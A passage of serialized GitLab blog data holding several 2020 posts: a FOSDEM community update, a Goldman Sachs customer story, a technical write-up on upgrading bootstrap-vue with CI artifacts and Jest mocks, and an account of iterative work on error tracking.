increase from 2018 (35) to 2019 (68). The growth in regular contributors is something we tried to focus on last year, and I'm impressed with the result. Congratulations to everyone who made the list, and your GitLab souvenir will be coming to you soon.\n\n\n### Let's meet at FOSDEM\n\nNow I want to switch gears to what's happening at [FOSDEM](https://fosdem.org/2020/) on February 1st and 2nd. Last year, GitLab had a stand at FOSDEM for the first time and we were overwhelemed with the amount of people who came to talk to us. I'm excited to announce that we will be back with a stand at FOSDEM and look forward to meeting with community members. Our stand will be at Building K/Level 1 and [this page](https://fosdem.org/2020/stands/) will help you find where the GitLab stand is. \n\nWe will also have a meetup session on Sunday as a part of a Birds of a Feather (BOF) track on Sunday (February 2nd) morning between 10:00 - 11:00 in room J.1.106. You can find details on the meetup at [this FOSDEM page](https://fosdem.org/2020/schedule/event/bof_gitlab/).  \n\nIn addition, a couple of GitLab team members are giving talks in devrooms. [Alessio Caiazza](https://gitlab.com/nolith) will discuss [building a smart reverse proxy in Go](https://fosdem.org/2020/schedule/event/speedupmonolith/) and I will have the opportunity to discuss [why community matters in corporate open source projects](https://fosdem.org/2020/schedule/event/corpcommunitythrive/).  \n\nFinally, we are working on organizing a Happy Hour on Saturday (February 1st) evening, so stay tuned for more news on this! I hope to see many of you at FOSDEM, and I'll try to make frequent announcements/posts on Twitter during the conference.\n",[267,2368,815],{"slug":25197,"featured":6,"template":678},"community-update-for-2019","content:en-us:blog:community-update-for-2019.yml","Community Update For 2019","en-us/blog/community-update-for-2019.yml","en-us/blog/community-update-for-2019",{"_path":25203,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25204,"content":25210,"config":25214,"_id":25216,"_type":16,"title":25217,"_source":17,"_file":25218,"_stem":25219,"_extension":20},"/en-us/blog/goldman-sachs-partners-with-gitlab-for-next-gen-platform-strategies",{"title":25205,"description":25206,"ogTitle":25205,"ogDescription":25206,"noIndex":6,"ogImage":25207,"ogUrl":25208,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25208,"schema":25209},"Goldman Sachs partners with GitLab for next-gen platform strategies","Goldman Sachs’ George Grant shares how partnering with GitLab has modernized the development ecosystem.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671845/Blog/Hero%20Images/serverless-ops-blog.jpg","https://about.gitlab.com/blog/goldman-sachs-partners-with-gitlab-for-next-gen-platform-strategies","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Goldman Sachs partners with GitLab for next-gen platform strategies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brein Matturro\"}],\n        \"datePublished\": \"2020-01-24\",\n      }",{"title":25205,"description":25206,"authors":25211,"heroImage":25207,"date":25193,"body":25212,"category":8943,"tags":25213},[24484],"\n\nMost people know Goldman Sachs as the global investment banking giant, but over the past few years the company has branched out to some pretty modern applications that go beyond the standard financial firm. At GitLab Commit Brooklyn 2019, [George Grant](https://www.linkedin.com/in/george-grant-21a9624), who runs the US SDLC engineering team at Goldman Sachs, explained how they’ve partnered with GitLab to help transform not only their development but the company as a whole.\n\n“It means we have to be a lot more nimble than we were in the past,” Grant says. “Now that we’re developing things that run on people’s iPhones, you need to have a different sort of infrastructure to do that.” The SDLC engineering team drives strategies for the development team, including legacy products, but also newer platforms like budgeting applications and the latest Apple credit card. The team is at the center of every business move within the organization.\n\n## Getting past the “dark times”\nGolman Sachs has about 10 [SDLCs running](/platform/), having grown organically into its own ecosystem over the years for various purposes. “Many of the things that we have at GS were designed in house – its our own workflow, our own tools doing code reviews, surrounding a minimum amount of external tools. Everthing thats involved in it is very tightly coupled with everything else,” Grant says.\n\nThe deployments, the issue tracker, the builds, and the testing are all linked together in order for everything to be controlled in one environment, including regulatory and compliance. This workflow is comfortable and controlled for users, but not ideal. “The problem is, it is sort of simultaneously its greatest strength and greatest weakness because the tightness of the coupling of the components makes it very difficult to replace any of the ones,” Grant says. If any part of the environment needs to be updated or switched out, it impacts all the others.\n\n\n\nThe engineering team started researching a new strategic direction, primarily looking for a modern Git-based solution. The goal was to find a tool that could alleviate developers’ SDLC workload and provide critical strategies for [cloud and Kubernetes](/2017/11/30/containers-kubernetes-basics/), allowing people to move away from the legacy stack. “You actually want to have something that gives you the freedom to innovate, but still have that control level around it.”\n\n## Creating a roadmap with GitLab\nGoldman Sachs chose GitLab as a way to move to the cloud, as an automation tool and to ultimately become the center of the ecosystem. “We didn’t want GitLab to be an island,” Grant says. Within the first two weeks of introducing GitLab, there were over 1600 users, underscoring the push for a new strategic platform.\n\nGitLab users can be innovative without restrictions. Each user group continues to work in their own world of tooling, but in a highly regulated environment. Reduced cycle times are another benefit, according to Grant. “We have one team that used to only be able to do a release every two weeks. Now they can do one and do another one five minutes later if they want to,” he says.\n\nFor an experienced company, the ability to integrate with legacy tools is important. On top of that, GS is embracing DevOps and QA metrics now that they have end-to-end visibility within the ecosystem. The transparency of GitLab allows Goldman Sachs to have input. “We have new ideas and new ways that we want to use the product to drive it strategically within GS,” Grant says.\n\n## Goldman Sachs and GitLab: Better together\nGoldman Sachs and GitLab have established a partnership. “The proof is in the pudding, as they say, and Goldman Sachs was very, very happy to become an investor in GitLab,” Grant says. As users of the tool, Goldman Sachs found it to be a natural investment opportunity. Bottom line, he says, people are demanding to use it more often. “We believe it is the strategic platform to take us into the future.”\n\nTo learn more about Goldman Sach’s implementation strategies, watch George Grant’s presentation from GitLab Commit Brooklyn 2019.\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Bu3nrxPy1-E\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nPhoto by [Tomasz Frankowski](https://unsplash.com/@sunlifter?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4772,110,4103,1067,267],{"slug":25215,"featured":6,"template":678},"goldman-sachs-partners-with-gitlab-for-next-gen-platform-strategies","content:en-us:blog:goldman-sachs-partners-with-gitlab-for-next-gen-platform-strategies.yml","Goldman Sachs Partners With Gitlab For Next Gen Platform Strategies","en-us/blog/goldman-sachs-partners-with-gitlab-for-next-gen-platform-strategies.yml","en-us/blog/goldman-sachs-partners-with-gitlab-for-next-gen-platform-strategies",{"_path":25221,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25222,"content":25227,"config":25232,"_id":25234,"_type":16,"title":25235,"_source":17,"_file":25236,"_stem":25237,"_extension":20},"/en-us/blog/upgrading-bootstrap-vue",{"title":25223,"description":25224,"ogTitle":25223,"ogDescription":25224,"noIndex":6,"ogImage":18477,"ogUrl":25225,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25225,"schema":25226},"Upgrading bootstrap-vue in gitlab-ui","How we upgraded BootstrapVue to v2 stable in GitLab UI, our UI library, and what challenges we encountered in the process","https://about.gitlab.com/blog/upgrading-bootstrap-vue","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Upgrading bootstrap-vue in gitlab-ui\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Enrique Alcántara\"},{\"@type\":\"Person\",\"name\":\"Paul Gascou-Vaillancourt\"}],\n        \"datePublished\": \"2020-01-24\",\n      }",{"title":25223,"description":25224,"authors":25228,"heroImage":18477,"date":25193,"body":25231,"category":18484},[25229,25230],"Enrique Alcántara","Paul Gascou-Vaillancourt","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\u003C!-- Content start here -->\n\nThree months ago, we started a process to upgrade bootstrap-vue in gitlab-ui from `2.0.0-rc.27` to the\nlatest stable version. You may wonder: Why has it taken so long? We found several impediments along the\nway caused by backward compatibility issues widespread across GitLab’s codebase. In this blog post\nwe’ll cover the following topics:\n\n1. [How GitLab CI helped us during the migration](#1-how-gitlab-ci-helped-us-during-the-migration)\n1. [Bootstrap-vue breaking changes](#2-bootstrap-vue-breaking-changes)\n\n## 1. How GitLab CI helped us during the migration\n\nWhen dealing with a situation like this, where one of your libraries introduces a lot of breaking\nchanges that need to be iteratively fixed in the products that depend on them, having access to\ngreat tools like GitLab CI can be a huge time-saver, especially in a distributed company like GitLab.\n\nIt goes without saying that GitLab itself is heavily tested, with tens or even hundreds of CI jobs\nrun against every commit. While this is extremely useful, GitLab depends on an official\nrelease of GitLab UI which is pinned in its `package.json`. This isn't helpful in our case\nbecause we don't want to release a new version of GitLab UI with BootstrapVue 2.0.0 stable unless we're\nabsolutely certain that it won’t cause adverse effects in GitLab.\n\nWhile there are several ways to test an unreleased version of an NPM package in a project, we would\nlike to briefly explain how we did it thanks to a few GitLab CI jobs that demonstrate how you can\ntake advantage of this powerful feature for things that go beyond running test suites in your projects.\n\n### npm publish\n\nLet's talk briefly about the [`npm publish`](https://docs.npmjs.com/cli/publish) command: it is the\ncommand that you would run to publish an NPM package to NPM's registry. When running the command, a\ntarball of your package is created and uploaded to the registry where it is tagged with the `version`\nthat's defined in your `package.json`. This is great, but once you run the publish command, a new\nversion of your package becomes publicly available. Of course you could release beta versions of your\npackage but then again, you would most likely bloat the registry with versions of your package that\nyou know won't work. So, is there a way to publish a test npm package outside the npm registry?\n\n### yarn pack\n\nWhat now? Another CLI command? Okay so what does this one do? According to the doc,\n[`yarn pack`](https://yarnpkg.com/en/docs/cli/pack)\n\n> Creates a compressed gzip archive of package dependencies.\n\nSo this means that it archives your package, like `npm publish` does, except that the archive will\nstay on your computer and won't be uploaded or published to any registry. And you can even give your\narchive a name using the `--filename` flag.\n\n### Okay, so how does that help us?\n\nAll right, let's see how this is useful in GitLab UI's CI setup. If you look at the `.gitlab-ci.yml`\nfile in GitLab UI, you'll see an [`upload_artifacts`](https://gitlab.com/gitlab-org/gitlab-ui/blob/3e8fd5e7f54542b7534203d65097039a3e731fd7/.gitlab-ci.yml#L183-201)\njob.\n\n```\nupload_artifacts:\n  extends: .node\n  stage: deploy\n  variables:\n    TAR_ARCHIVE_NAME: gitlab-ui.$CI_COMMIT_REF_SLUG.tgz\n  needs:\n    - build\n  script:\n    - yarn pack --filename $TAR_ARCHIVE_NAME\n    - DEPENDENCY_URL=\"$CI_PROJECT_URL/-/jobs/$CI_JOB_ID/artifacts/raw/$TAR_ARCHIVE_NAME\"\n    - echo \"The package.json dependency URL is $DEPENDENCY_URL\"\n    - echo $DEPENDENCY_URL > .dependency_url\n  artifacts:\n    when: always\n    paths:\n      - $TAR_ARCHIVE_NAME\n      - .dependency_url\n  only:\n    - /.+/@gitlab-org/gitlab-ui\n```\n\nNotice how this job depends on the `build` job via the `needs` option, this means that it will\nonly run after `build` has completed, and it will have access to `build`'s artifacts, which, among\nother things, contain the production-ready compiled version of GitLab UI. Now `upload_artifacts`\ndoes 3 important things:\n\n- It declares a `TAR_ARCHIVE_NAME` envrionment variable which is a combination of `gitlab-ui` and the\ncurrent branch's name, followed by the `.tgz` extension.\n- It calls `yarn pack --filename $TAR_ARCHIVE_NAME` which, as we've seen above, will create an\narchive of the package's dependencies, including the production-ready bundle from the `build` job.\n- And finally, it lists `$TAR_ARCHIVE_NAME` as one the job's artifacts paths.\n\nThe last point is where all the magic happens, because the package's archive now becomes a\ndownloadable artifact, which means that we have a kind of simple and private registry for all of our\ndevelopment branches from which we can install GitLab UI's development builds to test them out in\nGitLab. Notice how the job also prints a URL which is constructed this way:\n`$CI_PROJECT_URL/-/jobs/$CI_JOB_ID/artifacts/raw/$TAR_ARCHIVE_NAME`. This gives us a direct download\nlink to the archived package that we can use to install the build in GitLab:\n\n```sh\nyarn add @gitlab/ui@$DEPENDENCY_URL\n```\n\nWhere `$DEPENDENCY_URL` is the artifact's URL.\n\nThis has helped us a lot during this big migration because we were able to open a merge request in\nGitLab where the `package.json` would point to our GitLab UI development build. This allowed us to\nbenefit from the huge CI pipeline could benefit from the huge CI pipeline in GitLab to run every test\nsuite, thus giving us a nice overview of what needed to be fixed. It was also very useful in terms of\ncollaboration, because we were able to involve more engineers in the migration process without\nrequiring them to setup their local environment in any particular way. They would simply checkout the\ndevelopment branch, run `yarn install`, and they would be good to go.\n\nThis is only one of the endless possibilities that GitLab CI offers. Hopefully it gave you some\nideas for your own special CI job!\n\n## 2. Bootstrap-vue breaking changes\n\n### Different import statements\n\nImporting bootstrap-vue components requires a different syntax. In bootstrap-vue 2.0.0-rc.27 (previous version in production), we imported components directly from the source path:\n\n```javascript\nimport BDropdown from 'bootstrap-vue/src/components/dropdown/dropdown';\n```\n\nIn bootstrap-vue 2.0, the component source file does not have a default\n[export statement anymore](https://github.com/bootstrap-vue/bootstrap-vue/blob/dev/src/components/dropdown/dropdown.js#L85).\nTo circumvent this issue, we changed all import statements to reference bootstrap-vue main import file.\n\n```javascript\nimport { BDropdown } from 'bootstrap-vue';\n```\n\n### A new slot syntax for BVTable and BVTab components\n\n#### Tables\n\nBootstrap-vue BTable dynamically generates Vue template slots based on the table’s\n[column definitions](https://bootstrap-vue.js.org/docs/components/table)\nto customize the presentation of\n[content](https://bootstrap-vue.js.org/docs/components/table#custom-data-rendering).\nIn bootstrap-vue 2.0, the naming syntax for these slots changed:\n\n```html\n\u003Ctemplate #cell(project)=\"data\">\n```\n\nGitLab uses BTable widely, and we found several approaches to declare these slots across the codebase:\n\n```html\n\u003C!-- Version 1 -->\n\u003Ctemplate #HEAD_changeInPercent=\"{ label }\">\n\n\u003C!-- Version 2 -->\n\u003Ctemplate #name=\"items\">\n\n\u003C!-- Version 3 -->\n\u003Ctemplate slot=\"project\" slot-scope=\"data\">\n```\n\nGitLab test suite detected the components broken by this change when running the tests using the artifact generated by gitlab-ui.\nWe fixed these failures in the [upgrade bootstrap-vue merge request](https://gitlab.com/gitlab-org/gitlab/merge_requests/18913).\n\n#### Tabs\n\nThe BTabs component does not have the `tabs` slot anymore (BV deprecated this slot in previous versions). You should use `tabs-end` instead.\n\n```html\n\u003Ctemplate #tabs> \u003C!-- Deprecated version -->\n\u003Ctemplate #tabs-end> \u003C!-- Use tabs-end instead -->\n \u003Cli class=\"nav-item align-self-center\">\n Contentless tab\n \u003C/li>\n\u003C/template>\n```\n\n### Heavily refactored tooltip and popover components\n\nThe changes introduced in the tooltip component generated the most significant number of side-effects in gitlab-ui and GitLab.\nFrom the bootstrap-vue changelog entry for 2.0.0:\n\n> Tooltips and popovers have been completely re-written for better reactivity and stability. The directive versions are now reactive to trigger element title attribute changes and configuration changes.\n\nSince the API for these components didn’t change, our codebase shouldn’t have been affected by their\nrefactoring. That wasn’t the case. When we ran the GitLab test suite, all test specs for components\nthat have the tooltip as a dependency failed. As you may realize, those are many Karma, Jest,\nand unit tests. You’ll wonder... what happened?\n\n#### Problem 1: The tooltip directive expects to be attached to the DOM document\n\nOne of the behaviors introduced by the tooltip component refactoring is that we can’t initialize the\ncomponent unless it is attached to the\n[document object](https://github.com/bootstrap-vue/bootstrap-vue/blob/dev/src/components/tooltip/helpers/bv-tooltip.js#L218). If that condition is not satisfied, bootstrap-vue logs the following\nwarning message, and won’t initialize the component:\n\n```log\n[BootstrapVue warn]: tooltip unable to find target element in document\"\n```\n\nNone of our unit tests attach the component under test to the [document](https://developer.mozilla.org/en-US/docs/Web/API/Window/document) object. This action could cause memory leaks in Karma unit tests\nbecause test suite environments are not isolated.\n\nHow did we solve this problem?\n\nFirst, we migrated all the failing Karma tests to Jest in separate merge requests (see [group 1](https://gitlab.com/gitlab-org/gitlab/merge_requests/18913?diff_id=70349853#1-karma) and [group 2](https://gitlab.com/gitlab-org/gitlab/merge_requests/18913?diff_id=70349853#note_249314702)).\nWe also rewrote those tests to use vue-test-utils instead of a legacy vue test utility we wrote.\nThis step was essential because Karma doesn’t have dependency mocking capabilities.\nAlso, when mounting the component under test using vue-test-utils, we can easily attach it to the document using the [`attachToDocument`](https://vue-test-utils.vuejs.org/api/options.html#attachtodocument) flag.\n\nThe next steps were a mix of migrating Jest specs to vue-test-utils if needed and setting the `attachToDocument` flag to `true`.\nThe work ahead was staggering: We had to fix 74 test suites before calling a victory. Many of those specs required significant changes. To avoid increasing the size of the upgrade MR, we opened separate\nMRs for each spec file. Another advantage of using different MRs is that it enabled us to distribute\nthe migration effort among several hands.\n\n![upgrading bootstrap-vue](https://about.gitlab.com/images/upgrading-bootstrap-vue/failing-spec-list.png)\n\nOver time, this strategy became an uphill battle as more failing specs popped-up. We were pursuing a moving target, so we decided to\nfind an alternative. The reason behind adapting the failing tests to work with the rewritten tooltip is because tests were coupled to the\ntooltip implementation. Instead of honoring that coupling, we mocked the tooltip dependency to eliminate it. As explained\nby [vue test utils](https://vue-test-utils.vuejs.org/guides/#shallow-rendering):\n\n> In unit tests, we typically want to focus on the component being tested as an isolated unit and avoid indirectly asserting the behavior of its child components.\n\nWe used Jest [manual mock](https://jestjs.io/docs/en/manual-mocks#mocking-node-modules) feature to replace the tooltip directive\nwith a shallow version that only provides essential functionality to avoid breaking tests.\n\n```javascript\nexport * from '@gitlab/ui';\n\nexport const GlTooltipDirective = {\n bind() {},\n};\n\nexport const GlTooltip = {\n render(h) {\n return h('div', this.$attrs, this.$slots.default);\n },\n};\n```\n\n#### Problem 2: Asserting tooltip directive’s internals\n\nWe found many unit tests that contained the following assertion pattern:\n\n```javascript\nexpect(wrapper.attributes('data-original-title')).toContain(statusMessage);\n```\n\nThe purpose of this assertion is verifying that the content of a tooltip attached to a component\nis correct. The tooltip directive expects to find its content in the `title` attribute of an element.\nWhy were we verifying the `data-original-title` attribute then? Before bootstrap-vue 2.0, the tooltip\ndirective unset the `title` attribute and set `data-original-title` with the former’s value. All\nthe specs that asserted the tooltip’s content were coupled to this internal behavior. Once we\nupgraded to a version that didn’t follow this behavior, these specs failed.\n\nThe solution to this problem is very similar to problem 1’s. First, mocking the tooltip directive\nallowed us to decouple unit tests from BV implementation. Afterward, We just needed to replace all\n`data-original-title` references with the `title`.\n\n## Lessons learned\n\n### 1. Technical debt impacts significantly our ability to upgrade dependencies\n\nThis upgrade was costly because it required fixing hundreds of unit and feature tests. The costs\ncould’ve been much lower if we hadn’t had to migrate as many tests to use jest and vue-test-utils. This\nis a palpable reason to schedule time in each milestone to migrate specs written with legacy\npractices to modern ones.\n\nThe FE department has organized an effort to migrate legacy specs to use jest and vue-test-utils in this\n[epic](https://gitlab.com/groups/gitlab-org/-/epics/895). The epic also contains guidelines about how to do it.\nAll contributions are appreciated.\n\n\n### 2. Avoid testing component’s dependencies internals\n\nUnit tests should focus as much as possible in the component under test and refrain from making\nassumptions about how the component’s dependencies work. The other factor that increased costs\ndrastically was finding specs that made assumptions about how the tooltip directive worked under\nthe hood. We should strive to mock component’s dependencies to keep unit tests focused.\n\nThe FE department has opened a [merge request](https://gitlab.com/gitlab-org/gitlab/merge_requests/18296)\nthat proposes using higher-level selectors in unit tests. There are scenarios where an integration\ntest is more suited, though. We are also [discussing approaches](https://gitlab.com/gitlab-org/gitlab/issues/26982)\nto have a better distinction between unit and integration tests in the frontend.\n\n## Useful resources\n\n[Bootstrap-vue 2.0 migration guide and changelogs](https://bootstrap-vue.js.org/docs/misc/changelog)\n\n\u003C!-- Content ends here -->\n",{"slug":25233,"featured":6,"template":678},"upgrading-bootstrap-vue","content:en-us:blog:upgrading-bootstrap-vue.yml","Upgrading Bootstrap Vue","en-us/blog/upgrading-bootstrap-vue.yml","en-us/blog/upgrading-bootstrap-vue",{"_path":25239,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25240,"content":25246,"config":25251,"_id":25253,"_type":16,"title":25254,"_source":17,"_file":25255,"_stem":25256,"_extension":20},"/en-us/blog/iteration-on-error-tracking",{"title":25241,"description":25242,"ogTitle":25241,"ogDescription":25242,"noIndex":6,"ogImage":25243,"ogUrl":25244,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25244,"schema":25245},"Why we scoped down to build up error tracking ","We dig into how shipping small iterations is accelerating delivery on our error tracking product.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665440/Blog/Hero%20Images/automate-ce-ee-merges.jpg","https://about.gitlab.com/blog/iteration-on-error-tracking","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we scoped down to build up error tracking \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-01-23\",\n      }",{"title":25241,"description":25242,"authors":25247,"heroImage":25243,"date":25248,"body":25249,"category":734,"tags":25250},[17272],"2020-01-23","When our vision for [error tracking](https://about.gitlab.com/direction/monitor/platform-insights/error_tracking/) is fully realized, the developers who use GitLab will be able to find and fix errors before their customers ever report them, all while staying in our tool. But waiting until our error tracking feature is pristine would just us slow down.\n\nInstead, the engineers and product managers on the [Monitor:Health](https://handbook.gitlab.com/handbook/engineering/development/ops/monitor/respond/) team work **iteratively** by shipping smaller changes as we move closer to achieving our vision for the error tracking feature.\n\n## What does it mean to work iteratively?\n\n\"[Iterating] means scoping down a task to deliver it sooner. So, it means making something smaller so you can get it done quicker,\" says [Sid Sijbrandij](/company/team/#sytses), CEO and co-founder of GitLab.\n\nWe made [iteration](https://handbook.gitlab.com/handbook/values/#iteration) one of our core company values because of the fundamental belief that even a small change is better than no change at all. And while iteration in engineering is already recognized as being effective, our organization aims to make iteration a component to every team’s workflow.\n\nIn the video below, Sid and [Christopher \"Leif\" Lefelhocz](https://about.gitlab.com/company/team/#christopher-l), senior director of development, share how the product and engineering teams worked together to speed up development on error tracking by breaking the engineering process down into small steps and iterating as they go.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/tPTweQlBS54\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nWe followed up with the Monitor:Health team to talk about how product and engineering worked together to develop an iterative strategy for making improvements to our error tracking product, both in terms of how our product team built the plan for error tracking and how engineering shipped the [minimum viable change](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc) (MVC) to production.\n\n## How we created a product strategy for error tracking\n\nError tracking is a process whereby application errors are identified and fixed as quickly as possible. The way error tracking functions at GitLab today is [through integration with Sentry](https://about.gitlab.com/direction/monitor/platform-insights/error_tracking/), which aggregates errors, surfaces them in the GitLab UI, and provides the tools to triage and respond to the critical ones.\n\nToday, our error tracking feature is at the [minimal level of maturity](https://about.gitlab.com/direction/monitor/platform-insights/error_tracking/), meaning we still have plenty of work to do before this feature is viable.\n\n\"The goal was to be able to provide error tracking as a product and bring these processes closer to the development delivery workflow,\" said [Sarah Waldner](/company/team/#sarahwaldner), senior product manager on the Monitor:Health team.\n\nThe product team summarized what needs to be done to move [error tracking at GitLab from minimal to viable](https://gitlab.com/groups/gitlab-org/-/epics/1625) as part of a detailed [parent epic](https://docs.gitlab.com/ee/user/group/epics/#multi-level-child-epics). The parent epic essentially establishes product priorities by defining which use cases error tracking needs to solve in order for the product to be considered a viable feature. The next step was to define the core problems that users encounter with error tracking and double-check the solutions that should be used to solve those problems.\n\n\"Once we came up with these problems and validated those, we moved into a solution validation cycle whereby designers came up with different solutions and flows for these and then we tested them with different users,\" says Sarah. \"After we did all of that and have all of our solutions validated we broke it down into four different things that someone needs to do from a high level with Sentry.\"\n\nThose top four actions were divided into child epics which roll-up to the parent epic, and include:\n\n*   [The instrumentation or configuration of Sentry](https://gitlab.com/groups/gitlab-org/-/epics/2036)\n*   [Correlating errors](https://gitlab.com/groups/gitlab-org/-/epics/2035)\n*   [Resolving errors](https://gitlab.com/groups/gitlab-org/-/epics/2034)\n*   [Triaging errors](https://gitlab.com/groups/gitlab-org/-/epics/2029)\n\nBy breaking down the problems and establishing solutions, the team took an important step toward establishing their product development priorities. Contained in each of these child epics are other epics and issues which break down the solutions into the larger aspects.\n\n## Establishing development priorities\n\nThe team recognized that, in order to boost error tracking to viable, there needed to be a better way to resolve errors that are surfaced by Sentry within GitLab. The team created an epic for [resolving errors](https://gitlab.com/groups/gitlab-org/-/epics/2034), and outlined some of the key development priorities.\n\n\"So, to resolve errors, if you have an error that you need to fix, you might want to create an issue to track that work, respond to it, and close that issue in the general workflow,\" says Sarah. \"So within the resolving errors workflow part of the error tracking parent epic, we pose the idea of being able to manually open an issue from a Sentry error, which was then broken down further into where you do it from, and further again on the error detail page.\"\n\n![Resolve errors epic](https://about.gitlab.com/images/blogimages/resolve_errors_epic.png){: .shadow.medium.center}\nThe workflow for the resolve errors epic is broken down into multiple child epics, which correlate to different development projects.\n{: .note.text-center}\n\nThe team decided that we needed the ability to [create an issue within GitLab based on the errors detected by Sentry](https://gitlab.com/groups/gitlab-org/-/epics/2210) and that they wanted this function and button to appear on both the error list page as well as on the [error detail page](https://gitlab.com/groups/gitlab-org/-/epics/2210). The team then decided to make the error detail page the first priority.\n\n\"Through conversation, we were able to determine what is the bare minimum of value and broke it down as best as we could from frontend to backend, with the idea that it's better to ship something small that's not fully complete than (to ship) nothing at all,\" says [Clement Ho](/company/team/#ClemMakesApps), frontend engineering manager on Monitor:Health.\n\n## The \"Create an Issue\" button in three iterations\n\n\"Being able to open an issue from the error detail page seems really simple, but once you talk through what that workflow actually looks like, there are a lot more aspects to it than previously thought,\" says Sarah.\n\n![Open issue workflow](https://about.gitlab.com/images/blogimages/open_issue_epic.png){: .shadow.medium.center}\nBreaking the frontend and backend engineering into iterations shows just how much work needs to be done to ship even one minor component of the error tracking product.\n{: .note.text-center}\n\n### The \"Create an Issue\" button in stages\n\nClement was the architect behind the `Create an Issue` button frontend iterations. He explained that he wanted to take advantage of GitLab deploying frequently, and so he broke down the development process for the `Create an Issue` button into a series of small steps.\n\nThe [first iteration](https://gitlab.com/gitlab-org/gitlab/issues/36537) was simply to build the ability to create an issue from the error detail page. In this iteration, the `Create an Issue` button was simple and unstyled and clicking it led the user to a blank issue. While not overly helpful at this phase, it represents a good start in allowing someone to respond to an error.\n\n![Create an Issue button](https://about.gitlab.com/images/blogimages/create_an_issue_it1.png){: .shadow.medium.center}\nWhat the `Create an Issue` button will look like when it's done.\n{: .note.text-center}\n\nIn the [second iteration](https://gitlab.com/gitlab-org/gitlab/issues/36540), the user clicks `Create an Issue` and the issue comes pre-filled with the Sentry error title, description, and link. It’s still not styled and consistent with GitLab UI yet, but it’s possible to see more of the error context when creating an issue in response to the error.\n\nIn the [third iteration](https://gitlab.com/gitlab-org/gitlab/issues/36542), the GitLab UI gets cleaned up and the issue comes with proper formatting.\n\n\"Now, we are three issues into this and each one has been done in a couple of days and after the first couple of days, someone was able to create an issue,\" says Sarah. \"And that way we got the system much faster instead of first adding the button and then adding the experience of the new issue and then having all of the information in there styled.\"\n\n### Is it better to start with frontend or backend engineering?\n\nAs Christopher noted in his [conversation with Sid](https://www.youtube.com/watch?v=tPTweQlBS54), everything that Clement was working on in the first three iterations was frontend-focused; typically engineers start problem-solving from the backend.\n\n\"I love frontend first. I love interface first also because it helps everyone think about it,\" says [Sid in to Christopher regarding this project](https://www.youtube.com/watch?v=tPTweQlBS54). \"If you have something in the interface it's easier to understand for customers, for backend people, etc. So in the end what the customer sees is the product. One way to develop is to start with the readme or start with the press release. After that, the closest thing you can think of is the interface. So I think it's much better to have an interface built and then do the backend than vice versa. Even though I come from backend engineering.\"\n\nJust a few days after Clement started building the frontend of the `Create an Issue` button the backend team started building support in separate issues. The main priority was to build backend support that associates issues to errors so that users are not creating multiple issues for the same error. The engineers also built frontend support so the user can see that an issue was already created and linked to a particular error.\n\n## The power of iterative thinking\n\n\"One huge thing that came out of this is all team members now feel empowered to create issues and to just add them to the milestone and if they realize something is too big, they can create followups or second iterations,\" says Sarah.\n\nWhile the end goal is to build a viable error tracking product, the big vision simply cannot be achieved without smaller, incremental steps. While it is clear that the engineering teams embraced iteration, Sarah and the product team also recognized the strong strategic value of iterative product development.\n\nAt the same time, Clement wanted to take advantage of GitLab’s frequent deployments, but he also realized that by breaking down the engineering process into MVCs he could also drive up [merge request rate](https://handbook.gitlab.com/handbook/engineering/development/performance-indicators/#mr-rate) on the Monitor:Health frontend engineering team (the average number of merge requests per engineer merged per month) which is a [KPI](https://handbook.gitlab.com/handbook/engineering/development/performance-indicators/#mr-rate).\n\n![MR rate increases](https://about.gitlab.com/images/blogimages/mrs.png){: .shadow.medium.center}\nThe data shows an increase in the rate of merge requests on the Monitor:Health frontend engineering team.\n{: .note.text-center}\n\nThe data speaks for itself, since breaking down the product development process for error tracking into smaller iterations, the MR rate for Clement’s team has increased. 🎉\n\n## Scoping down to speed things up\n\nClement says that one of his key takeaways from this iterative development process was that GitLab ought to embrace iteration on the engineering side, but also iteration in product development. He is encouraging his team to ship MVCs more frequently, and plans to check his work by running through the process a few more times to iron out any wrinkles in the workflow.\n\nWhile the highly iterative approach to error tracking has been lauded by everyone from the senior director of development to our very own CEO, Clement acknowledges that this is still a work-in-progress.\n\n\"I think the cost is communication and information being spread out everywhere,\" Clement says.\n\nHe advises teams looking to adopt this highly iterative approach be extra disciplined at consolidating conversation on specific epics and issues within GitLab, otherwise, communication can get unwieldy, fast.\n\nCover photo by Max Ostrozhinskiy on Unsplash.\n{: .note}\n",[4103,11037,6962,1444],{"slug":25252,"featured":6,"template":678},"iteration-on-error-tracking","content:en-us:blog:iteration-on-error-tracking.yml","Iteration On Error 